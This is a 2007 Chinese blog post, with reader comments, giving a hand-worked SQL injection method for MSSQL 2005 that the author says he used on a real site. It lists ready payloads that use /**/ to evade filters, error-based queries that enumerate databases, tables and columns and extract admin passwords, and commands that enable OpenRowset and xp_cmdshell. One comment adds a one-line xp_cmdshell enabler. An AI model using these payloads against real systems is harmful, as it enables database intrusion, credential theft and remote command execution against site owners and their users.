rover's blog

感悟人生,实现梦想~~~
   :: 首页 :: 新随笔 :: 联系 :: 订阅 订阅 :: 管理

mssql2005注入方法【原创】

Posted on 2007-07-22 04:49 icerover 阅读(650) 评论(9)  编辑 收藏 所属分类: 技术区
作者:rover
累死朕了,纯手工猜了个站..还是mssql2005..边找资料边爆..整理如下
/**/跟空格的作用一样,有的时候可以过一些过滤

爆库语句,修改红色部分的数字挨个猜出库

/**/and/**/(select/**/top/**/1/**/isnull(cast([name]/**/as/**/nvarchar(500)),char(32))%2bchar(124)/**/from/**/[master].[dbo].[sysdatabases]/**/where/**/dbid/**/in/**/(select/**/top/**/1/**/dbid/**/from/**/[master].[dbo].[sysdatabases]/**/order/**/by/**/dbid/**/desc))%3d0--

爆表语句,somedb部份是所要列的数据库,红色数字1累加
/**/and/**/(select/**/top/**/1/**/cast(name/**/as/**/varchar(200))/**/from/**/(select/**/top/**/1/**/name/**/from/**/somedb.sys.all_objects/**/where/**/type%3dchar(85)/**/order/**/by/**/name)/**/t/**/order/**/by/**/name/**/desc)%3d0--
爆字段语句,爆表admin里user='icerover'的密码段
/**/And/**/(Select/**/Top/**/1/**/isNull(cast([password]/**/as/**/varchar(2000)),char(32))%2bchar(124)/**/From/**/(Select/**/Top/**/1/**/[password]/**/From/**/[somedb]..[admin]/**/Where/**/user='icerover'/**/Order/**/by/**/[password])/**/T/**/Order/**/by/**/[password]Desc)%3d0--

mssql2005默认没有开xp_cmdshell的,openrowset也不能用
如果是sa权限,可以这样来开启

开启openrowset
EXEC/**/sp_configure/**/'show/**/advanced/**/options',/**/1;RECONFIGURE;--
EXEC/**/sp_configure/**/'Ad/**/Hoc/**/Distributed/**/Queries',/**/1;RECONFIGURE;--
开启xp_cmdshell
EXEC/**/sp_configure/**/'Ad/**/Hoc/**/Distributed/**/Queries',1;RECONFIGURE;--
EXEC/**/sp_configure/**/'show/**/advanced/**/options',1;RECONFIGURE;EXEC/**/sp_configure/**/'xp_cmdshell',1;RECONFIGURE;--

连续爆字段(nvarchar改成max就可以了,修改top可依次爆下去)
id=1 And (Select Top 1 isNull(cast([U_Id] as nvarchar(max)),char(32))+char(124)+isNull(cast([pw] as nvarchar(max)),char(32)) From (Select Top 1 [U_Id],[pw] From [testdb]..[member] Where 1=1 Order by [U_Id]) T Order by [U_Id] Desc)>0
ok,over~~晚安~

Feedback

#1楼    回复  引用    

2007-07-22 09:26 by 您真有才~ [未注册用户]
你真有才!

#2楼    回复  引用    

2007-07-22 09:26 by 您真有才~ [未注册用户]
嘿嘿~
猜我是谁!!!

#3楼    回复  引用    

2007-07-22 09:43 by 您真有才~ [未注册用户]
BLOG小蓝调的各歌就一个哈?来来回回的~走城门呢?

#4楼    回复  引用    

2007-07-22 20:21 by 碎 [未注册用户]
.........

#5楼    回复  引用    

2007-07-24 22:02 by 您真有才~ [未注册用户]
你更新好蜗牛哦~~
路过~
拉个粑粑给你~~~~
好闷!

#6楼    回复  引用    

2007-07-26 18:37 by 锦衣 [未注册用户]
看来你还活着。
完毕,闪人。

#7楼    回复  引用    

2007-07-29 17:15 by xxb [未注册用户]


回错了

-----------------------\
sql2005防御注入的白痴设置:

1有个隐藏ip的软件,自己去太平洋搜去
2跳转网站名称
3本地管理员设置为128个字母组合的密码
4手动把登陆后的密码文件剪贴到U盘,说实话,此条不知道行不行,我没试过
谁有空试验一下。
5人工升级到x64系统,禁止所有x32文件运行,(除非你实在闲得慌)
6用vs2005编个x64的监视器,最好连上喇叭,警报设置为(啊啊啊啊啊)
7设置成楼猪的名字或者银行卡密码什么的,保证在第一时间产生威慑力
8(**************)此内容需回复可见
9(*********************)此内容需会员可见
10(********************)次内容需(******)可见






好了
浪费我一颗烟

#8楼    回复  引用    

2007-09-07 06:30 by 垃圾 [未注册用户]
sql 2005 开启XP_cmdshell 一句话足于
;EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE--

#9楼    回复  引用    

2007-09-07 15:06 by rover [未注册用户]
上面的,经过我测试,必须挨个分着执行才行,像你那个用;号串起来是不行的